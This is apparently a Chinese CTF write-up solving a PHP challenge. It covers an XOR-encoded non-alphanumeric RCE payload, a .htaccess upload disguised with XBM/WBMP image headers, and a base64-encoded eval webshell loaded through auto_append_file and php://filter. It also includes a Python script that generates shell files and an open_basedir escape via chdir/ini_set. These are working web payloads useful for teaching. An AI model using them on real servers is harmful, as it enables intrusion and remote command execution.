不是很难,但是能学到新姿势
代码审计
无数字字母RCE
文件上传
openbasedir绕过
上来就是代码审计
-
- function get_the_flag(){
- // webadmin will remove your upload file every 20 min!!!!
- $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
- if(!file_exists($userdir)){
- mkdir($userdir);
- }
- if(!empty($_FILES["file"])){
- $tmp_name = $_FILES["file"]["tmp_name"];
- $name = $_FILES["file"]["name"];
- $extension = substr($name, strrpos($name,".")+1);
- if(preg_match("/ph/i",$extension)) die("^_^");
- if(mb_strpos(file_get_contents($tmp_name), '')!==False) die("^_^");
- if(!exif_imagetype($tmp_name)) die("^_^");
- $path= $userdir."/".$name;
- @move_uploaded_file($tmp_name, $path);
- print_r($path);
- }
- }
-
- $hhh = @$_GET['_'];
-
- if (!$hhh){
- highlight_file(__FILE__);
- }
-
- if(strlen($hhh)>18){
- die('One inch long, one inch strong!');
- }
-
- if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
- die('Try something else!');
-
- $character_type = count_chars($hhh, 3);
- if(strlen($character_type)>12) die("Almost there!");
-
- eval($hhh);
- ?>
简单读了下代码。
GET 传 一个 ?_ 赋值给$hhh
条件:
$hhh 长度不能超过 18 ,不能匹配到 指定的字符, 盲猜是异或绕过。

本地测试到 只能利用这些字符。
! # $ % ( ) * + - / : ; < > ? @ \ ] ^ { }
还有这个函数 count_chars

返回在字符串中所用字符的信息,本题中用的是模式3,返回在字符串中使用过的不同字符
本地测试一下:
- $a = count_chars("qwe rcc ce",3);
- var_dump($a);
结果:

如果相同的字符 ,出现的次数超过12 则会退出。
后面执行 eval($hhh)
本题可以套娃绕过。
如:
http://127.0.0.1/test/test1.php?_=${_GET}{a}();&a=phpinfo
这里用 { } 是因为 [ ] 被过滤了。结果是一样的。
?_=${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}();&%ff=phpinfo
先 审计一下 以下代码:
- function get_the_flag(){
- // webadmin will remove your upload file every 20 min!!!!
- $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
- if(!file_exists($userdir)){
- mkdir($userdir);
- }
- if(!empty($_FILES["file"])){
- $tmp_name = $_FILES["file"]["tmp_name"];
- $name = $_FILES["file"]["name"];
- $extension = substr($name, strrpos($name,".")+1);
- if(preg_match("/ph/i",$extension)) die("^_^");
- if(mb_strpos(file_get_contents($tmp_name), '')!==False) die("^_^");
- if(!exif_imagetype($tmp_name)) die("^_^");
- $path= $userdir."/".$name;
- @move_uploaded_file($tmp_name, $path);
- print_r($path);
- }
- }
路径会打印出来,过滤了ph的后缀 文件内容不能有 ,而且 必须是图片。因为过滤了 ph
想要上传带 ph 的后缀是不可能的了,如果上传 jpg格式的再进行包含 也是先上传 .htaccess 或者 是 .user.ini 而 .user.ini 需要有php 文件下才可以利用,所以我们上传 .htaccess 。
如何让 .htaccess 文件 被判断成图片,我按常规思路想着 加GIF89a 了 但是不行 。
看其他师傅的才知道。 有两种方法:
- #define width 1337
- #define height 1337
在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
x00x00x8ax39x8ax39 是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess
但是还有一个问题,就是文件内容不能有
用来绕过,但是因为这题的PHP版本是7.3.4,这种写法在PHP7以后就不支持了,因此不行。
这里又是一个新姿势:
- #define width 1337
- #define height 1337
- AddType application/x-httpd-php .snowy
- php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c41893938531041badacfc22febe3abd/123.snowy
利用auto_append_file来包含b64解码的123.feng文章,这样往123.feng里面写b64解密后的马,就可以绕过
但是还有一个细节需要注意,我们的123.snowy也需要是个图片,需要在前面加上GIF89a,但是这只有6个字符,需要再随便加上2个base64有的字符,这样解码的时候才能正确解码,而且不会影响到后面的PHP一句话
GIF89a00PD9waHAgZXZhbCgkX1BPU1RbMF0pOz8+

网上的脚本,上传.htaccess
- SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
-
- def generate_php_file(filename, script):
- phpfile = open(filename, 'wb')
-
- phpfile.write(script.encode('utf-16be'))
- phpfile.write(SIZE_HEADER)
-
- phpfile.close()
-
- def generate_htacess():
- htaccess = open('.htaccess', 'wb')
-
- htaccess.write(SIZE_HEADER)
- htaccess.write(b'AddType application/x-httpd-php .lethe\n')
- htaccess.write(b'php_value zend.multibyte 1\n')
- htaccess.write(b'php_value zend.detect_unicode 1\n')
- htaccess.write(b'php_value display_errors 1\n')
-
- htaccess.close()
-
- generate_htacess()
-
- generate_php_file("shell.lethe", "$_GET['cmd']); die(); ?>")
-
-
接下来就是最后一个点,通过phpinfo我们可以看到存在open_basedir和disable_functions的限制,这时候看一下PHP版本是7.3.4,应该存在一个绕disable_functions的洞,利用蚁剑可以直接梭:

或者考虑命令执行一步一步绕过,因为没有过滤scandir,glob和file_get_contents,因此disable_functions这个的过滤其实对我们来说问题不大,主要的问题还是如何绕过open_basedir,姿势如下: 如果不熟悉的话,可以了解我之前写的文章。
- mkdir('feng');
- chdir('feng');
- ini_set('open_basedir','..');
- chdir('..');
- chdir('..');
- chdir('..');
- chdir('..');
- chdir('..');
- chdir('..');
- chdir('..');
- chdir('..');
- ini_set('open_basedir','/');
- var_dump(scandir('/'));
-
。。。